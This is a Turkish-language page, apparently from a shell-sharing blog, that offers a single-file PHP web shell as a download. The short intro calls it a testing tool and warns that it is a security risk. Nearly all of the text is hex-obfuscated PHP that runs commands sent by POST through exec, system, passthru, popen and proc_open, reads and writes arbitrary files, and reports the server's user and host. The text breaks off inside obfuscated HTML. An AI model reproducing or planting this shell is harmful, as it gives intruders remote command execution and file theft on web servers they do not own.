shell-downloadd@shell:~# -- Tek Dosyalık PHP SSH Shell
shell-downloadd@shell:~#, oldukça basit bir tek dosyalık PHP shell'dir. Bir PHP uygulamasını test ederken sunucuda hızlıca komut çalıştırmak için kullanılabilir. Dikkatli kullanın: Bu betik sunucu için bir güvenlik riski teşkil etmektedir.
Boyut hesaplanıyor...
<?php /* Author: Shell Downloadd Site: https://shell-downloadd.blogspot.com/ alfa-shell-v4.1: https://shell-downloadd.blogspot.com/2025/01/tek-dosyalk-php-ssh-shell.html Date: Monday, September 14, 2020 */ ${"G\x4c\x4f\x42A\x4c\x53"}["\x74\x6d\x7a\x67\x6bfn"]="\x72\x65sp\x6f\x6e\x73\x65";${"G\x4c\x4f\x42\x41\x4c\x53"}["\x72\x6b\x69\x6d\x65tpvu\x73\x6f"]="\x68\x6fs\x74\x6e\x61\x6d\x65";${"\x47\x4cO\x42\x41\x4c\x53"}["\x70s\x6a\x6c\x79p"]="u\x73\x65r\x6e\x61\x6d\x65";${"\x47\x4cO\x42\x41\x4cS"}["\x6cx\x70\x62c\x7ak\x67\x79"]="\x66";${"GL\x4f\x42\x41L\x53"}["\x6b\x72\x6cn\x67w\x67\x6bq"]="\x66i\x6ce";${"\x47\x4c\x4f\x42A\x4cS"}["\x6f\x70\x6ef\x6fv\x6ar\x66b"]="\x66\x69\x6c\x65\x50\x61\x74\x68";${"GL\x4f\x42\x41\x4cS"}["\x6ffu\x77\x6a\x6b\x64\x6b\x6f\x72\x73"]="\x66il\x65n\x61\x6d\x65";${"\x47\x4cO\x42\x41\x4cS"}["a\x69\x6fi\x75d"]="\x66il\x65s";${"G\x4c\x4f\x42\x41LS"}["\x62\x68\x72\x76bba\x66\x61"]="\x73\x74\x64o\x75\x74";${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x79\x61\x6b\x77\x68\x71"]="\x63w\x64";${"G\x4c\x4fB\x41\x4c\x53"}["a\x70e\x64\x65\x74v\x69\x67\x6e"]="\x70i\x70\x65\x73";${"G\x4cOBALS"}["\x64i\x73a\x75\x71zi"]="\x68a\x6e\x64\x6c\x65";${"\x47LO\x42A\x4cS"}["\x6b\x6d\x6a\x61p\x70\x6c\x70\x63\x71"]="cm\x64";${"G\x4cO\x42\x41\x4c\x53"}["\x6c\x7a\x71\x65p\x79il"]="out\x70\x75t";${"\x47\x4c\x4fB\x41LS"}["\x6d\x76\x72nmj\x6di\x63\x69"]="\x65\x6etr\x79";${"\x47\x4c\x4f\x42A\x4c\x53"}["\x62\x6e\x61v\x64\x6ei"]="\x6cist";${"\x47\x4cO\x42A\x4cS"}["\x70\x6a\x69\x66n\x75y\x66\x63"]="\x6d\x61tch";${"\x47L\x4fB\x41\x4c\x53"}["\x69\x72ixw\x69q\x79v"]="pa\x74\x68";${"\x47LO\x42\x41\x4c\x53"}["\x63\x62x\x64\x79\x76\x6f\x61e\x64"]="\x53HE\x4c\x4c_\x43ON\x46\x49G";${${"\x47\x4cO\x42\x41L\x53"}["\x63\x62xdyv\x6f\x61\x65d"]}=array("\x75\x73e\x72n\x61m\x65"=>"\x70\x30w\x6e\x79","h\x6fs\x74name"=>"s\x68e\x6c\x6c",);function expandPath($path){$qwglixock="\x6dat\x63\x68";if(preg_match("#^(~[a-\x7aA-\x5a0-9\x5f.-]*)(/\x2e*)?\$\x23",${${"G\x4cO\x42\x41L\x53"}["\x69\x72i\x78w\x69q\x79v"]},${$qwglixock})){${"\x47\x4c\x4f\x42A\x4c\x53"}["j\x72\x78\x6af\x77\x72u\x68\x63\x6f"]="\x73\x74d\x6fu\x74";${"G\x4c\x4f\x42\x41\x4cS"}["\x6a\x72\x69\x76\x6b\x6dkd\x76\x68"]="\x73t\x64\x6f\x75\x74";exec("\x65\x63h\x6f\x20$match[1]",${${"\x47\x4cO\x42AL\x53"}["\x6a\x72\x69\x76\x6b\x6d\x6bd\x76\x68"]});return${${"\x47LOB\x41LS"}["\x6a\x72\x78\x6a\x66\x77ruh\x63\x6f"]}[0].${${"\x47LOB\x41\x4c\x53"}["\x70\x6a\x69f\x6e\x75y\x66\x63"]}[2];}return${${"\x47LOB\x41\x4c\x53"}["i\x72\x69\x78w\x69\x71y\x76"]};}function allFunctionExist($list=array()){foreach(${${"\x47\x4c\x4fB\x41\x4cS"}["\x62\x6e\x61v\x64\x6ei"]} as${${"\x47L\x4f\x42\x41\x4c\x53"}["\x6d\x76\x72nm\x6a\x6di\x63i"]}){${"\x47\x4c\x4fBAL\x53"}["\x68y\x73\x71aez\x6a"]="\x65\x6e\x74r\x79";if(!function_exists(${${"\x47\x4cO\x42A\x4c\x53"}["h\x79s\x71\x61\x65\x7a\x6a"]})){return false;}}return true;}function executeCommand($cmd){${${"\x47\x4cOB\x41\x4cS"}["lz\x71\x65p\x79il"]}="";if(function_exists("\x65xec")){$hzdvxgupc="\x63md";$vpnlaim="\x6fu\x74\x70\x75\x74";exec(${$hzdvxgupc},${$vpnlaim});${${"\x47\x4cO\x42\x41\x4cS"}["l\x7a\x71ep\x79il"]}=implode("\n",${${"G\x4cO\x42AL\x53"}["\x6c\x7a\x71e\x70\x79i\x6c"]});}else if(function_exists("s\x68\x65ll_ex\x65c")){${${"\x47L\x4fB\x41\x4c\x53"}["\x6c\x7aqe\x70\x79il"]}=shell_exec(${${"\x47\x4c\x4f\x42\x41L\x53"}["km\x6aa\x70p\x6c\x70c\x71"]});}else if(allFunctionExist(array("s\x79\x73tem","o\x62\x5fs\x74art","ob\x5f\x67\x65t\x5fconte\x6e\x74s","\x6fb\x5f\x65n\x64\x5fcl\x65\x61n"))){ob_start();${"\x47\x4cO\x42\x41\x4c\x53"}["\x69r\x67nsutp\x67\x6d"]="\x6fu\x74put";system(${${"GL\x4f\x42\x41LS"}["\x6b\x6d\x6a\x61pp\x6c\x70\x63\x71"]});${${"\x47LOB\x41\x4c\x53"}["\x69\x72\x67nsu\x74\x70\x67m"]}=ob_get_contents();ob_end_clean();}else if(allFunctionExist(array("p\x61\x73\x73\x74\x68\x72u","ob\x5f\x73ta\x72\x74","\x6f\x62_\x67\x65\x74_\x63\x6f\x6et\x65\x6et\x73","o\x62_\x65n\x64\x5f\x63\x6cean"))){$suwdejiguxsf="\x63m\x64";ob_start();passthru(${$suwdejiguxsf});${${"\x47L\x4fB\x41\x4c\x53"}["l\x7a\x71e\x70\x79\x69l"]}=ob_get_contents();ob_end_clean();}else if(allFunctionExist(array("po\x70e\x6e","\x66\x65of","fr\x65ad","\x70\x63los\x65"))){${"\x47\x4cO\x42A\x4c\x53"}["p\x6a\x72\x6d\x71\x65\x76\x6bb"]="h\x61\x6e\x64\x6ce";$pxrerdbe="h\x61\x6e\x64\x6c\x65";$racqpsikm="\x63\x6d\x64";${${"\x47L\x4f\x42AL\x53"}["pjr\x6d\x71\x65\x76\x6b\x62"]}=popen(${$racqpsikm},"r");$qlovelvyw="\x68\x61n\x64\x6c\x65";while(!feof(${$pxrerdbe})){$ybypsbwl="o\x75\x74\x70u\x74";${$ybypsbwl}.=fread(${${"\x47\x4cO\x42A\x4c\x53"}["\x64\x69\x73a\x75\x71\x7ai"]},4096);}pclose(${$qlovelvyw});}else if(allFunctionExist(array("\x70roc_\x6f\x70\x65\x6e","\x73tream_\x67\x65\x74\x5f\x63o\x6e\x74ent\x73","pr\x6f\x63_clos\x65"))){${"GL\x4f\x42\x41\x4cS"}["fl\x6b\x62\x7a\x6bf\x63x\x6f\x72"]="c\x6d\x64";$mxmyrhlfph="ha\x6e\x64\x6c\x65";${"\x47L\x4fBA\x4cS"}["\x6f\x79\x6c\x75cc\x78n"]="\x68\x61\x6e\x64\x6c\x65";${${"G\x4cOB\x41\x4cS"}["\x6f\x79lu\x63\x63\x78\x6e"]}=proc_open(${${"\x47LO\x42\x41\x4c\x53"}["f\x6ck\x62zk\x66\x63\x78\x6f\x72"]},array(0=>array("p\x69p\x65","r"),1=>array("pi\x70\x65","w")),${${"\x47\x4cO\x42A\x4cS"}["\x61\x70\x65de\x74vi\x67\x6e"]});${${"\x47\x4c\x4f\x42A\x4c\x53"}["\x6c\x7a\x71e\x70yil"]}=stream_get_contents(${${"G\x4cO\x42\x41LS"}["\x61\x70\x65det\x76i\x67\x6e"]}[1]);proc_close(${$mxmyrhlfph});}$ykcneq="\x6futp\x75t";return${$ykcneq};}function isRunningWindows(){return stripos(PHP_OS,"\x57I\x4e")===0;}function featureShell($cmd,$cwd){${"GLO\x42A\x4c\x53"}["jd\x64\x71\x70\x67e\x65"]="\x73td\x6f\x75\x74";${${"\x47L\x4fB\x41\x4c\x53"}["jd\x64\x71\x70\x67\x65\x65"]}="";${"G\x4c\x4fBA\x4c\x53"}["\x67c\x70\x68\x76\x64\x69\x75\x69"]="\x73\x74\x64out";if(preg_match("/^\x5cs*\x63d\\\x73*(\x32>\x261)?\$/",${${"\x47\x4cOB\x41\x4cS"}["\x6b\x6dj\x61\x70p\x6cp\x63\x71"]})){chdir(expandPath("\x7e"));}elseif(preg_match("/^\\\x73*c\x64\\s+(.+)\x5cs*(2>\x261)?\$/",${${"GL\x4f\x42ALS"}["\x6b\x6d\x6a\x61\x70p\x6cp\x63\x71"]})){chdir(${${"\x47L\x4f\x42\x41\x4c\x53"}["\x79\x61\x6bw\x68\x71"]});preg_match("/^\x5c\x73*c\x64\x5c\x73+([^\\\x73]+)\\s*(2\x3e&1)?\$/",${${"\x47\x4c\x4fBA\x4c\x53"}["\x6b\x6d\x6a\x61\x70p\x6c\x70\x63\x71"]},${${"\x47\x4c\x4f\x42\x41LS"}["p\x6a\x69\x66nu\x79f\x63"]});chdir(expandPath(${${"\x47L\x4f\x42\x41\x4cS"}["p\x6a\x69f\x6e\x75y\x66\x63"]}[1]));}elseif(preg_match("/^\\\x73*\x64\x6f\x77\x6e\x6coa\x64\\s+[^\x5c\x73]+\x5cs*(\x32\x3e\x261)?\$/",${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x6bm\x6aa\x70\x70\x6c\x70\x63\x71"]})){${"G\x4c\x4fB\x41\x4c\x53"}["\x65\x6b\x65\x74\x72ip\x74g\x74\x6f"]="\x63w\x64";${"\x47\x4cO\x42\x41\x4c\x53"}["j\x72b\x67\x64\x6a\x65"]="\x6d\x61t\x63\x68";chdir(${${"G\x4c\x4f\x42\x41\x4c\x53"}["e\x6b\x65tr\x69\x70\x74g\x74\x6f"]});preg_match("/^\x5cs*\x64ow\x6e\x6coa\x64\x5cs+([^\x5c\x73]+)\x5cs*(2\x3e&\x31)?\$/",${${"G\x4c\x4f\x42AL\x53"}["km\x6aa\x70\x70\x6c\x70cq"]},${${"\x47\x4c\x4f\x42AL\x53"}["jr\x62\x67\x64\x6ae"]});return featureDownload(${${"\x47\x4c\x4fB\x41\x4c\x53"}["p\x6ai\x66\x6e\x75y\x66\x63"]}[1]);}else{${"G\x4c\x4fBAL\x53"}["l\x78\x72d\x78hx\x6e"]="\x63\x77d";chdir(${${"GLOBA\x4c\x53"}["\x6c\x78\x72\x64\x78\x68\x78\x6e"]});${${"\x47\x4c\x4fB\x41\x4c\x53"}["\x62h\x72\x76b\x62a\x66\x61"]}=executeCommand(${${"G\x4c\x4f\x42A\x4c\x53"}["\x6bm\x6a\x61\x70\x70\x6cp\x63\x71"]});}return array("\x73td\x6fu\x74"=>base64_encode(${${"GL\x4fBA\x4c\x53"}["\x67c\x70\x68v\x64\x69\x75\x69"]}),"cwd"=>base64_encode(getcwd()));}function featurePwd(){return array("\x63w\x64"=>base64_encode(getcwd()));}function featureHint($fileName,$cwd,$type){${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x74\x73w\x63\x76jj"]="\x74y\x70\x65";$bmkqkcln="\x63\x6d\x64";$hrspiqen="c\x77\x64";$hdfgnccp="\x66i\x6c\x65\x73";chdir(${$hrspiqen});${"GL\x4f\x42AL\x53"}["\x78\x6a\x68\x73\x77\x78\x79\x66\x63\x70"]="\x63\x6dd";if(${${"\x47L\x4fBALS"}["\x74\x73\x77c\x76\x6aj"]}=="c\x6d\x64"){${${"G\x4c\x4f\x42\x41\x4cS"}["\x6b\x6d\x6aap\x70\x6cp\x63\x71"]}="co\x6d\x70\x67en -\x63 $fileName";}else{$mjgzghxbbpc="\x63\x6d\x64";${$mjgzghxbbpc}="c\x6f\x6d\x70gen -f $fileName";}$rirlozrzi="\x66il\x65\x73";${$bmkqkcln}="/\x62\x69\x6e/\x62ash -c\x20\x22$cmd\x22";${${"G\x4c\x4fB\x41\x4c\x53"}["\x61\x69\x6f\x69\x75\x64"]}=explode("\n",shell_exec(${${"\x47\x4c\x4f\x42\x41\x4cS"}["\x78j\x68s\x77\x78\x79f\x63p"]}));foreach(${$rirlozrzi} as&${${"\x47\x4c\x4f\x42\x41\x4cS"}["\x6f\x66\x75\x77\x6ak\x64k\x6fr\x73"]}){${"G\x4cOB\x41\x4c\x53"}["\x68\x71\x6f\x78\x73x"]="fi\x6ce\x6e\x61\x6de";${${"\x47L\x4f\x42ALS"}["\x6f\x66\x75w\x6a\x6bdk\x6f\x72\x73"]}=base64_encode(${${"\x47LO\x42\x41L\x53"}["\x68q\x6f\x78\x73x"]});}return array("\x66iles"=>${$hdfgnccp},);}function featureDownload($filePath){$sgythnmqbh="\x66\x69\x6c\x65";${$sgythnmqbh}=@file_get_contents(${${"G\x4cO\x42\x41\x4c\x53"}["\x6f\x70n\x66\x6f\x76j\x72\x66\x62"]});if(${${"\x47\x4c\x4fB\x41\x4c\x53"}["\x6b\x72l\x6eg\x77g\x6b\x71"]}===FALSE){return array("s\x74\x64\x6f\x75t"=>base64_encode("\x46i\x6c\x65\x20\x6eot\x20f\x6f\x75n\x64 / n\x6f re\x61d per\x6di\x73\x73i\x6fn\x2e"),"c\x77\x64"=>base64_encode(getcwd()));}else{$ktdjfaxlwob="\x66i\x6ce\x50\x61\x74\x68";$ttoarrlrqykq="\x66\x69\x6ce";return array("na\x6de"=>base64_encode(basename(${$ktdjfaxlwob})),"fi\x6c\x65"=>base64_encode(${$ttoarrlrqykq}));}}function featureUpload($path,$file,$cwd){${"\x47\x4cOB\x41LS"}["\x79\x67l\x73\x75wl\x6c\x7a\x74"]="\x63\x77\x64";chdir(${${"G\x4c\x4f\x42\x41\x4c\x53"}["\x79\x67\x6cs\x75\x77\x6cl\x7a\x74"]});$nwdssehwc="pa\x74h";${${"\x47\x4c\x4fB\x41\x4c\x53"}["\x6cx\x70b\x63\x7a\x6b\x67\x79"]}=@fopen(${$nwdssehwc},"\x77b");${"\x47\x4cO\x42A\x4cS"}["wq\x66\x73c\x79\x74\x6f\x79\x6e\x73"]="\x66";if(${${"G\x4cO\x42\x41\x4cS"}["\x77q\x66\x73\x63y\x74oy\x6e\x73"]}===FALSE){return array("st\x64\x6f\x75\x74"=>base64_encode("I\x6e\x76al\x69d\x20\x70\x61th\x20/\x20n\x6f \x77\x72i\x74e \x70\x65rm\x69s\x73\x69on."),"\x63\x77\x64"=>base64_encode(getcwd()));}else{fwrite(${${"G\x4c\x4fBA\x4c\x53"}["lxp\x62\x63\x7akgy"]},base64_decode(${${"\x47L\x4f\x42AL\x53"}["\x6b\x72l\x6eg\x77g\x6b\x71"]}));${"\x47\x4cOBA\x4c\x53"}["\x67j\x6a\x69j\x65r"]="f";fclose(${${"\x47\x4c\x4fB\x41L\x53"}["gjjij\x65\x72"]});return array("st\x64\x6fut"=>base64_encode("\x44o\x6e\x65."),"\x63wd"=>base64_encode(getcwd()));}}function initShellConfig(){global$SHELL_CONFIG;${"G\x4c\x4f\x42A\x4c\x53"}["\x6a\x71\x6b\x6b\x7ab"]="\x68o\x73\x74na\x6d\x65";if(isRunningWindows()){${${"G\x4c\x4f\x42A\x4c\x53"}["\x70\x73\x6a\x6c\x79\x70"]}=getenv("\x55\x53E\x52N\x41ME");if(${${"\x47\x4c\x4f\x42A\x4c\x53"}["\x70\x73\x6a\x6cyp"]}!==false){$ificexpkvx="u\x73\x65rn\x61m\x65";${${"\x47\x4c\x4f\x42A\x4cS"}["\x63b\x78dyv\x6f\x61\x65d"]}["\x75\x73\x65\x72\x6e\x61\x6d\x65"]=${$ificexpkvx};}}else{$qidrkxfcri="\x70\x77u\x69\x64";$jzxkzruu="pw\x75\x69\x64";${$qidrkxfcri}=posix_getpwuid(posix_geteuid());if(${$jzxkzruu}!==false){${"\x47LOB\x41\x4c\x53"}["\x63\x64\x79\x68p\x78\x74\x6en"]="\x70\x77u\x69\x64";${${"\x47LO\x42\x41L\x53"}["c\x62x\x64\x79\x76o\x61e\x64"]}["u\x73\x65\x72n\x61m\x65"]=${${"\x47\x4cOB\x41LS"}["\x63d\x79h\x70xtnn"]}["na\x6d\x65"];}}${${"\x47\x4c\x4f\x42AL\x53"}["\x72k\x69\x6de\x74p\x76\x75s\x6f"]}=gethostname();if(${${"\x47\x4cO\x42ALS"}["\x6a\x71\x6bk\x7a\x62"]}!==false){${${"G\x4c\x4fB\x41\x4cS"}["\x63\x62\x78d\x79\x76o\x61e\x64"]}["\x68\x6f\x73tna\x6de"]=${${"\x47\x4c\x4f\x42\x41L\x53"}["rk\x69\x6d\x65\x74p\x76\x75\x73\x6f"]};}}if(isset($_GET["fe\x61\x74u\x72e"])){${${"\x47LOB\x41\x4c\x53"}["tmz\x67\x6b\x66\x6e"]}=NULL;$hxplafwxrno="\x72es\x70\x6f\x6ese";${"\x47\x4cO\x42\x41\x4c\x53"}["\x72g\x77\x71ri\x6e\x73\x6bi"]="r\x65\x73\x70o\x6e\x73\x65";${"GL\x4fB\x41\x4cS"}["\x76\x6de\x6awytd\x79m\x6c"]="\x72\x65\x73\x70\x6f\x6e\x73e";${"\x47LO\x42\x41\x4cS"}["l\x73n\x6e\x70\x78f\x77\x6c\x76v\x68"]="\x63\x6d\x64";switch($_GET["f\x65\x61\x74\x75\x72\x65"]){case"s\x68\x65ll":${${"\x47\x4c\x4f\x42AL\x53"}["k\x6d\x6aa\x70p\x6c\x70cq"]}=$_POST["\x63m\x64"];if(!preg_match("/2>/",${${"\x47LO\x42\x41\x4c\x53"}["l\x73\x6enp\x78f\x77l\x76\x76\x68"]})){${"\x47\x4cO\x42\x41\x4c\x53"}["\x78\x67x\x78nb\x72e\x6ef\x76\x73"]="\x63\x6d\x64";${${"\x47\x4c\x4fB\x41\x4c\x53"}["\x78\x67x\x78\x6e\x62\x72en\x66v\x73"]}.=" \x32\x3e\x26\x31";}${${"\x47L\x4fB\x41\x4cS"}["v\x6d\x65j\x77\x79\x74\x64\x79\x6dl"]}=featureShell(${${"\x47\x4cO\x42\x41L\x53"}["\x6b\x6d\x6a\x61\x70\x70\x6c\x70\x63\x71"]},$_POST["cw\x64"]);break;case"\x70\x77\x64":${$hxplafwxrno}=featurePwd();break;case"\x68i\x6et":${${"G\x4c\x4f\x42AL\x53"}["\x72\x67\x77\x71\x72in\x73\x6bi"]}=featureHint($_POST["\x66i\x6ce\x6eam\x65"],$_POST["c\x77d"],$_POST["\x74yp\x65"]);break;case"\x75pload":${${"G\x4c\x4fB\x41\x4c\x53"}["\x74\x6d\x7a\x67\x6bf\x6e"]}=featureUpload($_POST["pa\x74h"],$_POST["\x66\x69\x6c\x65"],$_POST["c\x77d"]);}header("C\x6f\x6et\x65\x6e\x74-Ty\x70\x65: app\x6ci\x63atio\x6e/\x6ason");echo json_encode(${${"\x47LOB\x41\x4cS"}["t\x6d\x7a\x67\x6b\x66n"]});die();}else{initShellConfig();}echo "<\x21\x44OCTYPE h\x74m\x6c\x3e\n\n\x3c\x68\x74\x6d\x6c>\n\n\x20 <\x68ea\x64>\n \x20 \x20 <m\x65ta c\x68a\x72se\x74\x3d\x22UTF-\x38\x22 /\x3e\n\x20 \x20\x20\x20\x20 <\x74\x69t\x6ce\x3e\x700wny\x40\x73hell:\x7e#\x3c/ti\x74\x6c\x65\x3e\n\x20 \x20 \x20\x20 <meta\x20n\x61\x6de\x3d\x22vi\x65\x77p\x6fr\x74\x22\x20c\x6f\x6ete\x6e\x74\x3d\x22\x77\x69dth\x3d\x64ev\x69\x63e-width, \x69ni\x74\x69a\x6c-sc\x61le=\x31\x2e\x30\x22 />\n\x20\x20\x20\x20 <s\x74\x79le\x3e\n \x20\x20\x20 \x20 \x20 \x68\x74\x6dl, \x62\x6fdy\x20{\n\x20\x20\x20 \x20 \x20 \x20 \x20 m\x61rgin:\x20\x30;\n \x20\x20 \x20 p\x61\x64d\x69\x6e\x67:\x200;\n \x20\x20 \x20 \x20b\x61\x63k\x67ro\x75nd: #3\x333;\n \x20 \x20 \x20\x20\x20\x20 \x20 \x20\x20 c\x6fl\x6fr: \x23e\x65e\x3b\n \x20\x20 \x20 \x20 \x20\x20\x20\x20\x66\x6fn\x74-\x66\x61\x6d\x69ly: mon\x6fsp\x61c\x65;\n\x20\x20\x20 \x20 \x20 \x20\x20 \x20\x20\x20 w\x69d\x74\x68:\x201\x30\x30\x76\x77;\n\x20 \x20\x20\x20\x20\x20\x20 \x20 \x20\x20\x20\x68eight:\x20100\x76h;\n\x20\x20 \x20\x20\x20\x20 \x20\x20\x20\x20\x20\x20\x20\x6fve\x72f\x6c\x6f\x77: h\x69dden;\n \x20 \x20 \x20\x20\x20 \x20\x20\x20}\n\n \x20\x20 \x20 \x20 \x20 \x20*::-we\x62ki\x74-s\x63ro\x6cl\x62\x61r-tr\x61ck\x20{\n\x20 \x20\x20 \x20 \x20 \x20\x62ord\x65r-ra\x64\x69us:\x208p\x78\x3b\n\x20\x20 \x20 \x20\x20 \x20\x20\x20\x20 \x20 \x62\x61\x63k\x67r\x6f\x75n\x64-\x63o\x6co\x72:\x20#3\x35\x33535;\n\x20\x20\x20\x20 \x20\x20 \x20\x20}\n\n\x20 \x20 \x20 \x20 \x20*::-w\x65b\x6bit-\x73\x63\x72\x6fllbar {\n\x20\x20\x20\x20 \x20 \x20 \x20 \x20wi\x64\x74\x68:\x20\x38p\x78;\n\x20\x20\x20\x20\x20 \x20\x20 \x20\x20\x20 \x20\x20 hei\x67ht: \x38px;\n\x20\x20\x20\x20\x20 \x20 \x20 }\n\n\x20\x20\x20\x20 *::-\x77\x65bk\x69\x74-\x73c\x72ol\x6c\x62ar-\x74h\x75m\x62\x20{\n\x20\x20 \x20\x20\x20 border-r\x61\x64\x69\x75\x73: \x38px\x3b\n\x20\x20\x20\x20 \x20 \x20 \x20-\x77\x65b\x6bi\x74-\x62\x6f\x78-\x73\x68a\x64\x6fw: inse\x74\x20\x30\x20\x30\x20\x36\x70x\x20r\x67\x62a(\x30,\x30,0,\x2e\x33)\x3b\n \x20 \x20\x20\x20 \x20 \x20\x20 \x62a\x63kg\x72\x6f\x75n\x64-co\x6c\x6f\x72:\x20\x23b\x63bcbc;\n\x20\x20 \x20 \x20\x20\x20}\n\n\x20\x20 \x20\x20 \x20 \x20\x20#\x73\x68e\x6cl {\n\x20 \x20 \x20\x20 \x20 \x20 \x20\x20 ba\x63kgr\x6f\x75\x6ed: \x23\x32\x322;\n \x20 \x20\x20 \x20 \x20\x62\x6f\x78-s\x68a\x64o\x77: \x30 0\x205px\x20\x72g\x62a(\x30, \x30,\x200,\x20.3);\n\x20 \x20\x20\x20 \x20 \x20\x20\x20 \x20 f\x6fn\x74-si\x7ae:\x20\x310p\x74;\n\x20 \x20\x20 \x20 \x20\x20 \x20\x64i\x73p\x6c\x61y:\x20fl\x65\x78;\n \x20\x20\x20 \x20\x20 \x20\x20\x20 flex-d\x69re\x63t\x69on:\x20co\x6c\x75mn;\n\x20 \x20\x20\x20\x20\x20 \x20\x20 \x20 a\x6cig\x6e-\x69t\x65\x6d\x73:\x20\x73\x74r\x65\x74\x63\x68\x3b\n \x20\x20 \x20 \x20 \x20 \x20 m\x61\x78-\x77\x69\x64\x74\x68:\x20cal\x63(\x31\x300\x76w\x20- 2 *\x20\x76\x61\x72(--\x73h\x65\x6c\x6c-\x6d\x61\x72\x67i\x6e))\x3b\n\x20 \x20\x20 \x20 \x20 \x20\x20 \x6d\x61x-he\x69g\x68\x74: c\x61lc(10\x30\x76h\x20- 2\x20* va\x72(--sh\x65l\x6c-mar\x67in))\x3b\n\x20\x20 \x20 \x20\x20 \x20\x20 re\x73i\x7a\x65:\x20b\x6f\x74\x68\x3b\n \x20\x20\x20 \x20\x20 \x20\x20\x6fv\x65\x72f\x6co\x77: \x68\x69\x64den;\n\x20\x20 \x20\x20 \x20\x20\x20 \x20\x20\x77\x69dt\x68:\x20\x31\x300\x25\x3b\n \x20 \x20 \x20\x20\x20\x20\x20 \x20\x68\x65ig\x68t: 1\x300%\x3b\n \x20 \x20\x20\x20 \x20 \x20 ma\x72\x67\x69\x6e: v\x61\x72(--\x73\x68\x65l\x6c-m\x61rgi\x6e)\x20a\x75\x74o\x3b\n\x20\x20 \x20 \x20 \x20\x20\x20}\n\n \x20\x20 \x20 \x20 \x20 #\x73\x68\x65\x6cl-co\x6e\x74\x65nt\x20{\n\x20 \x20\x20\x20\x20 \x20 \x20 \x20 \x6fver\x66\x6co\x77:\x20a\x75t\x6f;\n\x20\x20\x20\x20 \x20\x20\x20 \x20 \x20\x20 \x20\x70\x61d\x64i\x6eg: \x35\x70\x78\x3b\n\x20 \x20 \x20\x20 \x20w\x68ite-s\x70\x61ce: p\x72e-\x77\x72\x61\x70;\n\x20\x20 \x20 \x20 \x20f\x6cex-g\x72o\x77: \x31\x3b\n \x20\x20\x20 \x20 \x20 \x20\x20}\n\n \x20 \x20 \x20\x20 #\x73\x68el\x6c-\x6co\x67o {\n\x20 \x20 \x20\x20 \x20 \x20\x20 \x20f\x6f\x6e\x74-\x77e\x69gh\x74:\x20b\x6fld\x3b\n \x20\x20 \x20\x20\x20\x20 \x20 \x20co\x6co\x72: \x23\x46F\x34\x318\x30\x3b\n \x20\x20\x20 \x20\x20\x20 \x20\x20 \x20\x20 t\x65\x78\x74-ali\x67n:\x20c\x65\x6e\x74\x65\x72;\n \x20\x20 \x20 }\n\n \x20\x20 \x20\x20\x20 \x20\x20:r\x6f\x6ft {\n \x20\x20\x20 \x20\x20\x20\x20\x20 \x20 --she\x6cl-mar\x67in:\x202\x35p\x78;\n\x20\x20\x20 \x20\x20}\n\n \x20\x20 \x20\x20\x20 @m\x65di\x61\x20(\x6din-\x77\x69d\x74\x68: 1\x3200\x70x)\x20{\n \x20\x20\x20 \x20\x20\x20\x20\x20\x20\x20 \x20 :\x72o\x6ft {\n\x20\x20\x20\x20 \x20\x20\x20 \x20\x20\x20 --sh\x65l\x6c-marg\x69\x6e:\x20\x35\x30px\x20!\x69mp\x6frt\x61\x6et;\n \x20 \x20\x20\x20 \x20\x20\x20\x20\x20\x20 }\n \x20 \x20 \x20 \x20 }\n\n\x20 \x20\x20\x20\x20\x20 \x40\x6ded\x69a\x20(ma\x78-\x77\x69\x64\x74h:\x2099\x31\x70\x78),\n \x20 \x20 \x20\x20 \x20 \x20\x20\x20\x20\x20 \x20(ma\x78-\x68ei\x67h\x74: 60\x30px) {\n \x20 \x20\x20\x20\x20\x20\x20 \x20\x20 #shel\x6c-l\x6f\x67o {\n\x20\x20\x20 \x20\x20 \x20 \x20\x20 \x20 \x66on\x74-s\x69\x7ae:\x20\x36px;\n\x20 \x20\x20\x20\x20 \x20 \x20\x20 \x20 m\x61\x72\x67\x69n: -\x32\x35px\x200;\n \x20 \x20 \x20 \x20 \x20 \x20}\n\x20 \x20\x20\x20 \x20 \x20\x20\x20 :ro\x6f\x74\x20{\n \x20 \x20 \x20\x20 \x20\x20\x20\x20 \x20 --she\x6cl-\x6dargin:\x200\x20!\x69\x6d\x70orta\x6et\x3b\n\x20\x20 \x20 \x20 \x20 \x20\x20\x20 }\n \x20 \x20 \x20\x20 \x20\x20#\x73hell {\n\x20 \x20\x20 \x20\x20 \x20 \x20\x20\x20\x20\x72esi\x7ae:\x20\x6eone;\n \x20\x20\x20\x20\x20\x20\x20 \x20\x20 \x20 }\n\x20\x20 \x20\x20 \x20\x20 }\n\n \x20\x20\x20 \x20 \x20\x20\x40m\x65\x64ia (\x6d\x61\x78-\x77\x69\x64th:\x20\x376\x37px) {\n \x20\x20 \x20 \x20 \x20 \x20 \x20\x20 #s\x68ell-inp\x75\x74\x20{\n\x20\x20\x20 \x20\x20\x20\x20\x20\x20 \x20 fl\x65x-d\x69\x72\x65\x63tio\x6e: co\x6c\x75m\x6e;\n \x20\x20 \x20\x20\x20 \x20 \x20 \x20}\n\x20\x20\x20\x20\x20 \x20 }\n\n \x20 \x20\x20\x20 \x40m\x65\x64ia\x20(ma\x78-\x77\x69\x64th:\x203\x32\x30\x70x)\x20{\n\x20 \x20\x20 \x20\x20\x20 \x20 \x20 \x20#s\x68ell-l\x6fg\x6f {\n \x20\x20\x20 \x20 \x20\x20 \x20 \x20 \x20\x20\x66\x6fn\x74-\x73\x69\x7a\x65: \x35px\x3b\n\x20\x20 \x20 \x20\x20\x20\x20 \x20 }\n \x20\x20\x20 \x20 \x20 \x20}\n\n \x20 \x20 \x20\x20\x20 \x20 .s\x68el\x6c-pro\x6d\x70\x74 {\n \x20 \x20 \x20\x20\x20 \x20\x20\x20\x20 f\x6fnt-\x77e\x69gh\x74:\x20\x62o\x6c\x64;\n\x20\x20\x20\x20\x20\x20\x20\x20 \x20\x20\x20 \x20c\x6flor: \x2375\x44\x46\x30\x42\x3b\n \x20 \x20 }\n\n\x20\x20\x20\x20\x20\x20 \x20\x20 .\x73\x68\x65\x6cl-p\x72ompt \x3e\x20\x73\x70\x61\x6e {\n \x20 \x20 \x20\x20\x20 \x20 \x20\x63\x6fl\x6f\x72:\x20#1\x42C9E\x37\x3b\n \x20\x20 \x20 \x20 }\n\n\x20 \x20\x20\x20#s\x68\x65l\x6c-\x69\x6e\x70\x75t\x20{\n \x20 \x20 \x20 \x20 disp\x6c\x61y: 